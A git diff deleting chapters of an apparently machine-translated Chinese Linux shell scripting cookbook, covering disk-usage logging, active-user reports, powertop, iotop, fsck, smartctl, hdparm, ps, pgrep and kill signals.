-您可以手动运行脚本,如下所示: - -```sh -$ ./disklog.sh - -``` - -上一个脚本的输出如下所示: - -```sh -01/18/17 192.168.1.6 /dev/sda1 106G 53G 49G 52% SAFE -01/18/17 192.168.1.6 /dev/md1 958G 776G 159G 84% ALERT - -``` - -# 它是如何工作的... - -`disklog.sh`脚本接受日志文件路径作为命令行参数,或者使用默认日志文件。`-e $logfile`检查文件是否存在。如果日志文件不存在,它将使用列标题进行初始化。远程机器 IP 地址列表可以硬编码在`IP_LIST`中,用空格分隔,或者`nmap`命令可以用来扫描网络中的可用节点。如果您使用`nmap`通话,请调整您网络的 IP 地址范围。 - -for 循环遍历每个 IP 地址。`ssh`应用向每个节点发送`df -H`命令,以检索磁盘使用信息。`df`输出存储在临时文件中。一个`while`循环逐行读取该文件,并调用`awk`提取相关数据并输出。一个`egrep`命令提取满百分比值并去除`%`。如果该值小于 80,则该行标记为`SAFE`,否则标记为`ALERT`。整个输出字符串必须重定向到`log`文件。因此,`for`循环被封装在子 Shell`()`中,标准输出被重定向到日志文件。 - -# 请参见 - -* 第 10 章*行政调用*中的*用 cron* 食谱安排解释了`crontab`命令 - -# 确定系统上的活动用户小时数 - -该方法利用系统日志找出每个用户在服务器上花费的时间,并根据总使用时间对它们进行排序。将生成包含详细信息的报告,包括排名、用户、首次登录日期、上次登录日期、登录次数和总使用小时数。 - -# 准备好 - -关于用户会话的原始数据以二进制格式存储在`/var/log/wtmp`文件中。`last`命令返回登录会话的详细信息。每个用户的会话小时数总和是该用户的总使用小时数。 - -# 怎么做... - -该脚本将确定活动用户并生成报告: - -```sh -#!/bin/bash -#Filename: active_users.sh -#Description: Reporting tool to find out active users - -log=/var/log/wtmp - -if [[ -n $1 ]]; -then - log=$1 -fi - -printf "%-4s %-10s %-10s %-6s %-8s\n" "Rank" "User" "Start" \ - "Logins" "Usage hours" - -last -f $log | head -n -2 > /tmp/ulog.$$ - -cat /tmp/ulog.$$ | cut -d' ' -f1 | sort | uniq> /tmp/users.$$ - -( -while read user; -do - grep ^$user /tmp/ulog.$$ > /tmp/user.$$ - minutes=0 - - while read t - do - s=$(echo $t | awk -F: '{ print ($1 * 60) + $2 }') - let minutes=minutes+s - done< <(cat /tmp/user.$$ | awk '{ print $NF }' | tr -d ')(') - - firstlog=$(tail -n 1 /tmp/user.$$ | awk '{ print $5,$6 }') - nlogins=$(cat /tmp/user.$$ | wc -l) - hours=$(echo "$minutes / 60.0" | bc) - - printf "%-10s %-10s %-6s %-8s\n" $user "$firstlog" $nlogins $hours -done< /tmp/users.$$ - -) | sort -nrk 4 | awk '{ printf("%-4s %s\n", NR, $0) }' -rm /tmp/users.$$ /tmp/user.$$ /tmp/ulog.$$ - -``` - -输出类似于以下内容: - -```sh -$ ./active_users.sh -Rank User Start Logins Usage hours -1 easyibaa Dec 11 531 349 -2 demoproj Dec 10 350 230 -3 kjayaram Dec 9 213 55 -4 cinenews Dec 11 85 139 -5 thebenga Dec 10 54 35 -6 gateway2 Dec 11 52 34 -7 soft132 Dec 12 49 25 -8 sarathla Nov 1 45 29 -9 gtsminis Dec 11 41 26 -10 agentcde Dec 13 39 32 - -``` - -# 它是如何工作的... - -`active_users.sh`脚本从命令行定义的`/var/log/wtmp`或`wtmp`日志文件中读取。`last -f`命令提取日志文件内容。日志文件中的第一列是用户名。`cut`命令从日志文件中提取第一列。`sort`和`uniq`命令将该列表简化为唯一用户列表。 - -脚本的外部循环遍历用户。对于每个用户,`grep`用于提取特定用户对应的日志行。 - -每行的最后一列是此登录会话的持续时间。这些值在内部`while read t`循环中求和。 - -会话持续时间的格式为`(HOUR:SEC)`。该值用 awk 提取以报告最后一个字段,然后通过管道传输到`tr -d`以删除括号。第二个`awk`命令将 *HH::MM* 字符串转换为分钟,分钟总计。循环完成后,总分钟数通过用 60 除`$minutes`转换为小时数。 - -用户的第一次登录时间是用户数据临时文件的最后一行。这是用尾巴和`awk`提取的。登录会话数为本文件行数,用`wc`计算。 - -用户按总使用时间排序,排序的`-nr`选项为数字和降序,而`-k4`指定排序列(使用时间)。最后,排序的输出被传递给`awk`,它在每一行前面加上一个行号,代表每个用户的排名。 - -# 测量和优化功耗 - -电池容量是笔记本电脑和平板电脑等移动设备的重要资源。Linux 提供了测量功耗的工具,其中一个命令就是`powertop`。 - -# 准备好 - -`powertop`应用没有预装很多 Linux 发行版,你必须使用你的包管理器来安装它。 - -# 怎么做... - -`powertop`应用测量每个模块的功耗,并支持交互优化功耗: - -在没有选项的情况下,`powertop`在终端上显示: - -```sh -# powertop - -``` - -`powertop`命令进行测量,并显示关于功率使用、使用最多功率的进程等的详细信息: - -```sh -PowerTOP 2.3 Overview Idle stats Frequency stats Device stats Tunable - -Summary: 1146.1 wakeups/sec, 0.0 GPU ops/secs, 0.0 VFS ops/sec and 73.0% C Usage Events/s Category Description -407.4 ms/s 258.7 Process /usr/lib/vmware/bin/vmware -64.8 ms/s 313.8 Process /usr/lib64/firefox/firefox - -``` - -`-html`标签将使`powertop`在一段时间内进行测量,并生成一个带有默认文件名`PowerTOP.html`的 HTML 报告,您可以使用任何网络浏览器打开该报告: - -```sh - # powertop --html - -``` - -在交互模式下,您可以优化功耗。`powertop`运行时,使用箭头或 tab 键切换到可调选项卡;这显示了属性列表`powertop`可以调整为消耗更少的能量。选择您想要的,按回车键从坏切换到好。 - -If you want to monitor the power consumption from a portable device's battery, it is required to remove the charger and use the battery for `powertop` to make measurements. - -# 监控磁盘活动 - -监控工具的一个流行命名约定是以`'top'`字结束名称(用于监控进程的命令)。监控磁盘输入输出的工具叫做`iotop`。 - -# 准备好了 - -大多数 Linux 发行版都没有预装 **iotop** 应用,您必须使用软件包管理器来安装它。iotop 应用需要 root 权限,因此您需要以`sudo`或 root 用户的身份运行它。 - -# 怎么做... - -`iotop`应用可以执行连续监控,也可以生成固定周期的报告: - -1. 要进行持续监控,请使用以下命令: - -```sh - # iotop -o - -``` - -`-o`选项告诉`iotop`只显示那些在运行时正在进行活动输入/输出的进程,这减少了输出中的噪音。 - -2. `-n`选项告诉 iotop 运行 *N* 次并退出: - -```sh - # iotop -b -n 2 - -``` - -3. `-p`选项监控特定过程: - -```sh - # iotop -p PID - -``` - -`PID`是你希望监控的过程。 - -In most modern distributions, instead of finding the PID and supplying it to `iotop`, you can use the `pidof` command and write the preceding command as follows: # iotop -p `pidof cp` - -# 检查磁盘和文件系统是否有错误 - -Linux 文件系统非常健壮。尽管如此,文件系统可能会损坏,数据可能会丢失。越早发现问题,需要担心的数据丢失和损坏就越少。 - -# 准备好 - -检查文件系统的标准工具是`fsck`。该命令安装在所有现代发行版上。请注意,您需要以 root 用户身份或通过`sudo`运行`fsck`。 - -# 怎么做... - -如果文件系统长时间未被检查,或者有理由(电源故障后不安全的重新启动)怀疑它已经损坏,Linux 将在引导时自动运行`fsck`。可以手动运行`fsck`。 - -1. 要检查分区或文件系统上的错误,请将路径传递给`fsck`: - -```sh - # fsck /dev/sdb3 - fsck from util-linux 2.20.1 - e2fsck 1.42.5 (29-Jul-2012) - HDD2 has been mounted 26 times without being checked, check forced. - Pass 1: Checking inodes, blocks, and sizes - Pass 2: Checking directory structure - Pass 3: Checking directory connectivity - Pass 4: Checking reference counts - Pass 5: Checking group summary information - HDD2: 75540/16138240 files (0.7% non-contiguous), - 48756390/64529088 blocks - -``` - -2. `-A`标志检查在`/etc/fstab`中配置的所有文件系统: - -```sh - # fsck -A - -``` - -这将遍历`/etc/fstab`文件,检查每个文件系统。`fstab`文件定义了物理磁盘分区和挂载点之间的映射。它用于在引导期间装载文件系统。 - -3. `-a`选项指示`fsck`自动尝试修复错误,而不是交互询问我们是否修复错误。请谨慎使用此选项: - -```sh - # fsck -a /dev/sda2 - -``` - -4. `-N`选项模拟`fsck`将执行的动作: - -```sh - # fsck -AN - fsck from util-linux 2.20.1 - [/sbin/fsck.ext4 (1) -- /] fsck.ext4 /dev/sda8 - [/sbin/fsck.ext4 (1) -- /home] fsck.ext4 /dev/sda7 - [/sbin/fsck.ext3 (1) -- /media/Data] fsck.ext3 /dev/sda6 - -``` - -# 它是如何工作的... - -`fsck`应用是特定于文件系统的`fsck`应用的前端。当我们运行`fsck`时,它会检测文件系统的类型并运行适当的`fsck.fstype`命令,其中`fstype`是文件系统的类型。例如,如果我们在`ext4`文件系统上运行`fsck`,它将结束调用`fsck.ext4`命令。 - -因此,`fsck`只支持所有文件系统特定工具的通用选项。要找到更详细的选项,请阅读特定于应用的手册页,如`fsck.ext4`。 - -`fsck`丢失数据或使严重损坏的文件系统变得更糟是非常罕见的,但也是可能的。如果您怀疑文件系统严重损坏,您应该使用`-N`选项列出`fsck`将执行但实际上没有执行的操作。如果`fsck`报告了十几个它可以修复的问题,或者如果这些问题包括损坏的目录结构,您可能希望以只读模式装载驱动器,并尝试在运行`fsck`之前提取关键数据。 - -# 检查磁盘运行状况 - -现代磁盘驱动器运行多年没有问题,但当磁盘出现故障时,这是一场大灾难。现代磁盘驱动器包括一个自我监控、分析和报告技术(T1)(T2)设备,用于监控磁盘的运行状况,以便在发生重大故障之前更换出故障的驱动器。 - -# 准备好 - -Linux 支持通过`smartmontools`包与驱动器 SMART 实用程序交互。这是大多数发行版默认安装的。如果它不存在,您可以使用软件包管理器安装它: - -```sh - apt-get install smartmontools - -``` - -或者,可以使用以下命令: - -```sh - yum install smartmontools - -``` - -# 怎么做... - -`smartmontools`的用户界面是`smartctl`应用。该应用在磁盘驱动器上启动测试,并报告智能设备的状态。 - -由于`smartctl`应用访问原始磁盘设备,因此您必须拥有根访问权限才能运行它。 - -`-a`选项报告设备的完整状态: - -```sh - $ smartctl -a /dev/sda - -``` - -输出将是基本信息的标题、一组原始数据值和测试结果。标题包括正在测试的驱动器的详细信息和此报告的日期戳: - -```sh - smartctl 5.43 2012-06-30 r3573 [x86_64-linux-2.6.32- - 642.11.1.el6.x86_64] (local build) - Copyright (C) 2002-12 by Bruce Allen, - http://smartmontools.sourceforge.net - - === START OF INFORMATION SECTION === - Device Model: WDC WD10EZEX-00BN5A0 - Serial Number: WD-WCC3F1HHJ4T8 - LU WWN Device Id: 5 0014ee 20c75fb3b - Firmware Version: 01.01A01 - User Capacity: 1,000,204,886,016 bytes [1.00 TB] - Sector Sizes: 512 bytes logical, 4096 bytes physical - Device is: Not in smartctl database [for details use: -P - showall] - ATA Version is: 8 - ATA Standard is: ACS-2 (unknown minor revision code: 0x001f) - Local Time is: Mon Jan 23 11:26:57 2017 EST - SMART support is: Available - device has SMART capability. - SMART support is: Enabled - ... - -``` - -原始数据值包括错误计数、加速时间、通电时间等。最后两列(`WHEN_FAILED`和`RAW_VALUE`)特别有意思。在以下示例中,设备已通电 9823 小时。它已通电和断电 11 次(服务器不会频繁重启),当前温度为 30℃。当通电值接近制造商的**平均故障间隔时间** ( **MTBF** )时,是时候开始考虑更换驱动器或将其转移到不太关键的系统了。如果重启之间的电源周期计数增加,则可能表明电源出现故障或电缆出现故障。如果温度变高,您应该考虑检查驱动器的存储模块。风扇可能出现故障或过滤器可能堵塞: - -```sh -ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED - WHEN_FAILED RAW_VALUE - - 9 Power_On_Hours 0x0032 087 087 000 Old_age Always - - 9823 - -12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - - 11 - -194 Temperature_Celsius 0x0022 113 109 000 Old_age Always - - 30 - -``` - -输出的最后一部分将是测试结果: - -```sh -SMART Error Log Version: 1 -No Errors Logged - -SMART Self-test log structure revision number 1 - -``` - -```sh -Num Test_Description Status Remaining LifeTime(hours) - LBA_of_first_error -# 1 Extended offline Completed without error 00% 9825 - - - -``` - -`-t`标志强制智能设备运行自检。它们是非破坏性的,可以在驱动器运行时运行。智能设备可以进行长时间或短时间的测试。在大型设备上,短测试需要几分钟,而长测试需要一个小时或更长时间: - -```sh -$ smartctl -t [long][short] DEVICE - -$ smartctl -t long /dev/sda - -smartctl 5.43 2012-06-30 r3573 [x86_64-linux-2.6.32-642.11.1.el6.x86_64] (local build) -Copyright (C) 2002-12 by Bruce Allen, http://smartmontools.sourceforge.net - -=== START OF OFFLINE IMMEDIATE AND SELF-TEST SECTION === -Sending command: "Execute SMART Extended self-test routine immediately in off-line mode". -Drive command "Execute SMART Extended self-test routine immediately in off-line mode" successful. -Testing has begun. -Please wait 124 minutes for test to complete. -Test will complete after Mon Jan 23 13:31:23 2017 - -Use smartctl -X to abort test. - -``` - -两个多小时后,该测试将完成,结果将通过`smartctl -a`命令显示。 - -# 它是如何工作的 - -现代磁盘驱动器不仅仅是旋转的金属磁盘。它们包括中央处理器、只读存储器、存储器和定制的信号处理芯片。`smartctl`命令与运行在磁盘中央处理器上的小型操作系统交互,请求测试和报告。 - -# 获取磁盘统计信息 - -`smartctl`命令提供许多磁盘统计数据并测试驱动器。`hdparm`命令提供更多统计数据,并检查磁盘在系统中的表现,这可能会受到控制器芯片、电缆等的影响。 - -# 准备好 - -`hdparm`命令是大多数 Linux 发行版的标准命令。您必须有根用户权限才能使用它。 - -# 怎么做... - -`-I`选项将提供您设备的基本信息: - -```sh - $ hdparm -I DEVICE - $ hdparm -I /dev/sda - -``` - -以下示例输出显示了报告的一些数据。型号和固件与`smartctl`报告的相同。该配置包括在对驱动器进行分区和创建文件系统之前可以调整的参数: - -```sh -/dev/sda: - -ATA device, with non-removable media - Model Number: WDC WD10EZEX-00BN5A0 - Serial Number: WD-WCC3F1HHJ4T8 - Firmware Revision: 01.01A01 - Transport: Serial, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6, SATA Rev 3.0 -Standards: - Used: unknown (minor revision code 0x001f) - Supported: 9 8 7 6 5 - Likely used: 9 -Configuration: - Logical max current - cylinders 16383 16383 - heads 16 16 - sectors/track 63 63 - -- - CHS current addressable sectors: 16514064 - LBA user addressable sectors: 268435455 - LBA48 user addressable sectors: 1953525168 - Logical Sector size: 512 bytes - Physical Sector size: 4096 bytes - device size with M = 1024*1024: 953869 MBytes - device size with M = 1000*1000: 1000204 MBytes (1000 GB) - cache/buffer size = unknown - Nominal Media Rotation Rate: 7200 - -... -Security: - Master password revision code = 65534 - supported - not enabled - not locked - not frozen - not expired: security count - supported: enhanced erase - 128min for SECURITY ERASE UNIT. 128min for ENHANCED SECURITY ERASE UNIT. -Logical Unit WWN Device Identifier: 50014ee20c75fb3b - NAA : 5 - IEEE OUI : 0014ee - Unique ID : 20c75fb3b -Checksum: correct - -``` - -# 它是如何工作的 - -`hdparm`命令是进入内核库和模块的用户界面。它包括对修改参数和报告参数的支持。更改这些参数时要格外小心! - -# 还有更多 - -`hdparm`命令可以测试磁盘的性能。`-t`和`-T`选项分别对缓冲读取和缓存读取执行计时测试: - -```sh -# hdparm -t /dev/sda -Timing buffered disk reads: 486 MB in 3.00 seconds = 161.86 MB/sec - -# hdparm -T /dev/sda -Timing cached reads: 26492 MB in 1.99 seconds = 13309.38 MB/sec - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/10.md b/docs/linux-shell-script-cb/10.md deleted file mode 100644 index f0f84c4e..00000000 --- a/docs/linux-shell-script-cb/10.md +++ /dev/null @@ -1,1927 +0,0 @@ -# 十、管理调用 - -在本章中,我们将涵盖以下主题: - -* 收集有关流程的信息 -* 什么是什么–什么,在哪里,什么是什么,以及文件 -* 杀死进程,发送和响应信号 -* 向用户终端发送消息 -* `/proc`文件系统 -* 收集系统信息 -* 用`cron`调度 -* 数据库样式和用途 -* 写入和读取 SQLite 数据库 -* 从 Bash 中读写 MySQL 数据库 -* 用户管理脚本 -* 批量调整图像大小和格式转换 -* 从终端截图 -* 从一个终端管理多个终端 - -# 介绍 - -从一个 GNU/Linux 生态系统管理多个终端由网络、每组硬件、分配资源的操作系统内核、接口模块、系统实用程序和用户程序组成。管理员需要监控整个系统,以保持一切顺利运行。Linux 管理工具从多合一图形用户界面应用到为脚本设计的命令行工具。 - -# 收集有关流程的信息 - -术语**进程**在这种情况下是指程序的运行实例。许多进程在一台计算机上同时运行。每个流程都被分配一个唯一的标识号,称为**流程标识** ( **工艺流程标识**)。具有相同名称的同一个程序的多个实例可以同时运行,但是它们将各自具有不同的 PID 和属性。进程属性包括拥有进程的用户、程序使用的内存量、程序使用的 CPU 时间等。这个食谱展示了如何收集关于过程的信息。 - -# 准备好 - -与流程管理相关的重要命令有`top`、`ps`、`pgrep`。这些工具在所有 Linux 发行版中都可用。 - -# 怎么做... - -`ps`报告活动进程的信息。它提供了关于哪个用户拥有进程、进程何时启动、用于执行进程的命令路径、PID、它所连接的终端( **TTY** 、对于**电传**)、进程使用的内存、进程使用的 CPU 时间等信息。考虑以下示例: - -```sh -$ ps -PID TTY TIME CMD -1220 pts/0 00:00:00 bash -1242 pts/0 00:00:00 ps - -``` - -默认情况下,`ps`将显示从当前终端(TTY)启动的进程。第一列显示的是 PID,第二列是终端(TTY),第三列显示的是进程启动后经过了多长时间,最后是 CMD(命令)。 - -`ps`命令报告可以用命令行参数修改。 - -`-f (full)`选项显示更多的信息列: - -```sh -$ ps -f -UID PID PPID C STIME TTY TIME CMD -slynux 1220 1219 0 18:18 pts/0 00:00:00 -bash -slynux 1587 1220 0 18:59 pts/0 00:00:00 ps -f - -``` - -`-e`(每)和`-ax`(所有)选项提供系统上运行的每个进程的报告。 - -The `-x` argument (along with `-a`) specifies the removal of the default TTY restriction imparted by `ps`. Usually, if you use `ps` without arguments, it'll only print processes attached to the current terminal. - -命令`ps -e`、`ps -ef`、`ps -ax`和`ps -axf`生成所有过程的报告,并提供比`ps`更多的信息: - -```sh -$ ps -e | head -5 -PID TTY TIME CMD -1 ? 00:00:00 init -2 ? 00:00:00 kthreadd -3 ? 00:00:00 migration/0 -4 ? 00:00:00 ksoftirqd/0 - -``` - -`-e`选项生成长报告。本示例使用`head`过滤输出,以显示前五个条目。 - -`-o PARAMETER1`、`PARAMETER2`选项指定要显示的数据。 - -Parameters for `-o` are delimited with a comma (`,`). There is no space between the comma operator and the next parameter. -The `-o` option can be combined with the `-e` (every) option (`-eo`) to list every process running in the system. However, when you use filters similar to the ones that restrict `ps` to the specified users along with `-o`, `-e` is not used. The -e option overrules the filter and displays all the processes. - -在本例中,`comm`代表 COMMAND,`pcpu`代表 CPU 使用率的百分比: - -```sh -$ ps -eo comm,pcpu | head -5 -COMMAND %CPU -init 0.0 -kthreadd 0.0 -migration/0 0.0 -ksoftirqd/0 0.0 - -``` - -# 它是如何工作的... - -支持`-o`选项的以下参数: - -| **参数** | **描述** | -| `pcpu` | 中央处理器的百分比 | -| `pid` | 流程标识 | -| `ppid` | 父进程标识 | -| `pmem` | 内存百分比 | -| `comm` | 可执行文件名 | -| `cmd` | 简单的命令 | -| `user` | 启动流程的用户 | -| `nice` | 优先级(精确) | -| `time` | 累计中央处理器时间 | -| `etime` | 自进程启动以来经过的时间 | -| `tty` | 相关的 TTY 装置 | -| `euid` | 有效用户 | -| `stat` | 进程状态 | - -# 还有更多... - -可以组合`ps`命令、`grep`和其他工具来生成自定义报告。 - -# 显示流程的环境变量 - -一些过程依赖于它们的环境变量定义。了解环境变量和值可以帮助您调试或自定义流程。 - -`ps`命令通常不显示命令的环境信息。命令末尾的`e`输出修改器将此信息添加到输出中: - -```sh -$ ps e - -``` - -这里有一个环境信息的例子: - -```sh -$ ps -eo pid,cmd e | tail -n 1 -1238 -bash USER=slynux LOGNAME=slynux HOME=/home/slynux PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -MAIL=/var/mail/slynux SHELL=/bin/bash SSH_CLIENT=10.211.55.2 49277 22 SSH_CONNECTION=10.211.55.2 49277 10.211.55.4 22 SSH_TTY=/dev/pts/0 - -``` - -环境信息有助于使用`apt-get`包管理器跟踪问题。如果使用 HTTP 代理连接互联网,可能需要使用`http_proxy=host:port`设置环境变量。如果未设置,则`apt-get`命令将不会选择代理,因此会返回一个错误。知道`http_proxy`没有设置,问题就明显了。 - -当调度工具,如`cron`(本章稍后讨论)用于运行应用时,可能不会设置预期的环境变量。该`crontab`条目不会打开图形用户界面窗口应用: - -```sh -00 10 * * * /usr/bin/windowapp - -``` - -它失败是因为图形用户界面应用需要`DISPLAY`环境变量。要确定所需的环境变量,请手动运行`windowapp`,然后运行`ps -C windowapp -eo cmd e`。 - -确定所需的环境变量后,在`crontab`中的命令名称前定义它们: - -```sh -00 10 * * * DISPLAY=:0 /usr/bin/windowapp - -``` - -运筹学 - -```sh -DISPLAY=0 -00 10 * * * /usr/bin/windowapp - -``` - -定义`DISPLAY=:0`从`ps`输出中获得。 - -# 创建流程的树形视图 - -`ps`命令可以报告一个进程 PID,但是从一个子进程到最终父进程的跟踪是繁琐的。将`f`添加到`ps`命令的末尾会创建一个流程的树形视图,显示任务之间的父子关系。下一个示例显示了从运行在`xterm`内部的 bash shell 调用的`ssh`会话: - -```sh -$ ps -u clif f | grep -A2 xterm | head -3 -15281 ? S 0:00 xterm -15284 pts/20 Ss+ 0:00 \_ bash -15286 pts/20 S+ 0:18 \_ ssh 192.168.1.2 - -``` - -# 分类 ps 输出 - -默认情况下,`ps`命令输出未排序。-sort 参数强制`ps`对输出进行排序。可以通过在参数中添加`+`(升序)或`-`(降序)前缀来指定升序或降序: - -```sh -$ ps [OPTIONS] --sort -paramter1,+parameter2,parameter3.. - -``` - -例如,要列出消耗 CPU 最多的五个进程,请使用以下内容: - -```sh -$ ps -eo comm,pcpu --sort -pcpu | head -5 -COMMAND %CPU -Xorg 0.1 -hald-addon-stor 0.0 -ata/0 0.0 -scsi_eh_0 0.0 - -``` - -这将显示前五个进程,按 CPU 使用百分比降序排列。 - -`grep`命令可以过滤`ps`输出。要仅报告当前正在运行的那些 Bash 进程,请使用以下命令: - -```sh -$ ps -eo comm,pid,pcpu,pmem | grep bash -bash 1255 0.0 0.3 -bash 1680 5.5 0.3 - -``` - -# 带 ps 的过滤器,适用于真实用户或身份证、有效用户或身份证 - -`ps`命令可以根据指定的真实有效的用户名或 id 对进程进行分组。`ps`命令通过检查每个条目是属于参数列表中的特定有效用户还是真实用户来过滤输出。 - -* 用`-u EUSER1`、`EUSER2`等指定有效用户列表 -* 用`-U RUSER1`、`RUSER2`等指定真实用户列表 - -这里有一个例子: - -```sh - # display user and percent cpu usage for processes with real user - # and effective user of root - $ ps -u root -U root -o user,pcpu - -``` - -`-o`可以和`-e`一起作为`-eo`使用,但是当应用过滤器时,不应该使用`-e`。它会覆盖过滤器选项。 - -# ps 的 TTY 滤波器 - -`ps`输出可以通过指定进程所连接的 TTY 来选择。使用`-t`选项指定 TTY 列表: - -```sh - $ ps -t TTY1, TTY2 .. - -``` - -这里有一个例子: - -```sh - $ ps -t pts/0,pts/1 - PID TTY TIME CMD - 1238 pts/0 00:00:00 bash - 1835 pts/1 00:00:00 bash - 1864 pts/0 00:00:00 ps - -``` - -# 关于进程线程的信息 - -`ps`的`-L`选项将显示关于进程线程的信息。此选项将 LWP 列添加到线程标识中。将`-f`选项添加到`-L` ( `-Lf`)会添加两列:线程计数 NLWP 和线程标识 LWP: - -```sh - $ ps -Lf - UID PID PPID LWP C NLWP STIME TTY TIME - CMD - user 1611 1 1612 0 2 Jan16 ? 00:00:00 - /usr/lib/gvfs/gvfsd - -``` - -该命令列出了线程数最多的五个进程: - -```sh -$ ps -eLf --sort -nlwp | head -5 -UID PID PPID LWP C NLWP STIME TTY TIME - CMD -root 647 1 647 0 64 14:39 ? 00:00:00 - /usr/sbin/console-kit-daemon --no-daemon -root 647 1 654 0 64 14:39 ? 00:00:00 - /usr/sbin/console-kit-daemon --no-daemon -root 647 1 656 0 64 14:39 ? 00:00:00 - /usr/sbin/console-kit-daemon --no-daemon -root 647 1 657 0 64 14:39 ? 00:00:00 - /usr/sbin/console-kit-daemon --no-daemon - -``` - -# 指定要显示的输出宽度和列 - -`ps`命令支持许多选项来选择字段,以便显示和控制它们的显示方式。以下是一些更常见的选项: - -| `-f` | 这指定了完整的格式。它包括父 PID 用户标识的开始时间。 | -| `-u` 用户列表 | 这将选择列表中用户拥有的进程。默认情况下,它选择当前用户。 | -| `-l` | 长长的清单。它显示用户标识、父 PID、大小等。 | - -# 什么是什么–什么,在哪里,什么是什么,以及文件 - -可能有几个同名文件。了解正在调用的可执行文件以及文件是编译代码还是脚本是有用的信息。 - -# 怎么做... - -`which`、`whereis`、`file`和`whatis`命令报告文件和目录的信息。 - -* `which`:哪个命令报告命令的位置: - -```sh - $ which ls - /bin/ls - -``` - -* 我们经常在不知道存储可执行文件的目录的情况下使用命令。根据您的`PATH`变量的定义方式,您可以使用来自`/bin`、`/usr/local/bin`或`/opt/PACKAGENAME/bin`的命令。 -* 当我们键入命令时,终端会在一组目录中查找该命令,并执行它找到的第一个可执行文件。要搜索的目录在`PATH`环境变量中指定: - -```sh - $ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin - -``` - -* 我们可以添加要搜索的目录并导出新的`PATH`。要将`/opt/bin`添加到`PATH`,请使用以下命令: - -```sh - $ export PATH=$PATH:/opt/bin - # /opt/bin is added to PATH - -``` - -* **T2 在哪里:`whereis`类似于哪个命令。它不仅返回命令的路径,还打印手册页的位置(如果可用)和命令源代码的路径(如果可用):** - -```sh - $ whereis ls - ls: /bin/ls /usr/share/man/man1/ls.1.gz - -``` - -* **什么是**:`whatis`命令输出作为参数给出的命令的单行描述。它从`man`页面解析信息: - -```sh - $ whatis ls - ls (1) - list directory contents - -``` - -`file`命令报告文件类型。它的语法如下: - -```sh - $ file FILENAME - -``` - -* 报告的文件类型可能包含几个字或一个长描述: - -```sh - $file /etc/passwd - /etc/passwd: ASCII text - $ file /bin/ls - /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 - (SYSV), dynamically linked (uses shared libs), for GNU/Linux - 2.6.15, stripped - -``` - -apropos -Sometimes we need to search for a command that is related to the topic. The `apropos` command will search the man pages for a keyword. Here's the code to do this: **Apropos topic** - -# 从给定的命令名中查找进程标识 - -假设正在执行一个命令的几个实例。在这样的场景下,我们需要每个进程的 PID。`ps`和`pgrep`命令都返回该信息: - -```sh - $ ps -C COMMAND_NAME - -``` - -或者,返回以下内容: - -```sh - $ ps -C COMMAND_NAME -o pid= - -``` - -当`=`附加到`pid`时,它从`ps`的输出中删除表头 PID。要从列中删除标题,请将`=`附加到参数中。 - -该命令列出了 Bash 进程的进程标识: - -```sh - $ ps -C bash -o pid= - 1255 - 1680 - -``` - -`pgrep`命令还返回一个命令的进程标识列表: - -```sh - $ pgrep bash - 1255 - 1680 - -``` - -`pgrep` requires only a portion of the command name as its input argument to extract a Bash command; `pgrep ash` or `pgrep bas` will also work, for example. But `ps` requires you to type the exact command. `pgrep` supports these output-filtering options. - -`-d`选项指定默认新行以外的输出分隔符: - -```sh - $ pgrep COMMAND -d DELIMITER_STRING - $ pgrep bash -d ":" - 1255:1680 - -``` - -`-u`选项过滤用户列表: - -```sh - $ pgrep -u root,slynux COMMAND - -``` - -在该命令中,`root`和`slynux`是用户。 - -`-c`选项返回匹配进程的计数: - -```sh - $ pgrep -c COMMAND - -``` - -# 确定系统有多忙 - -系统要么没有使用,要么过载。`load average`值描述了运行系统的总负荷。它描述了系统上可运行进程的平均数量,即除了中央处理器时间片之外的所有资源的进程。 - -平均负载由正常运行时间和 top 命令报告。它以三个值报告。第一个值表示 1 分钟内的平均值,第二个值表示 5 分钟内的平均值,第三个值表示 15 分钟内的平均值。 - -它由正常运行时间报告: - -```sh - $ uptime - 12:40:53 up 6:16, 2 users, load average: 0.00, 0.00, 0.00 - -``` - -# 最高命令 - -默认情况下,`top`命令显示消耗 CPU 最多的进程列表以及基本的系统统计信息,包括进程列表中的任务数量、CPU 内核和内存使用情况。输出每隔几秒钟更新一次。 - -此命令显示几个参数以及最消耗 CPU 的进程: - -```sh - $ top - top - 18:37:50 up 16 days, 4:41,7 users,load average 0.08 0.05 .11 - Tasks: 395 total, 2 running, 393 sleeping, 0 stopped 0 zombie - -``` - -# 请参见... - -* 本章中的*用 cron* 配方安排说明了如何安排任务 - -# 杀死进程,发送和响应信号 - -如果您需要降低系统负载,或者在重新启动之前,您可能需要终止进程(如果它们变得混乱并开始消耗太多资源)。信号是一种进程间通信机制,它会中断正在运行的进程,并迫使它执行某些操作。这些操作包括强制进程以受控或立即的方式终止。 - -# 准备好 - -信号向正在运行的程序发送中断。当一个进程接收到一个信号时,它通过执行一个信号处理程序来响应。编译后的应用通过`kill`系统调用产生信号。可以使用`kill`命令从命令行(或 shell 脚本)生成信号。`trap`命令可以在脚本中用来处理接收到的信号。 - -每个信号由一个名称和一个整数值标识。`SIGKILL (9)`信号立即终止一个过程。击键事件 *Ctrl* + *C* 、 *Ctrl* + *Z* 发送信号中止任务或将任务放到后台。 - -# 怎么做... - -1. 终止`-l`命令将列出可用信号: - -```sh - $ kill -l - SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP - ... - -``` - -2. 终止流程: - -```sh - $ kill PROCESS_ID_LIST - -``` - -`kill`命令默认发出`SIGTERM`信号。进程标识列表以空格作为分隔符。 - -3. `-s`选项指定要发送到流程的信号: - -```sh - $ kill -s SIGNAL PID - -``` - -`SIGNAL`参数是信号名称或信号编号。有许多信号可用于不同的目的。最常见的如下: - -* `SIGHUP 1`:控制进程或终端死亡时的挂断检测 - -* `SIGINT 2`:这是按下 *Ctrl* + *C* 时发出的信号 - -* `SIGKILL 9`:这是用来强行杀进程的信号 - -* `SIGTERM 15`:这是默认情况下用来终止进程的信号 - -* `SIGTSTP 20`:这是按下 *Ctrl* + *Z* 时发出的信号 - -4. 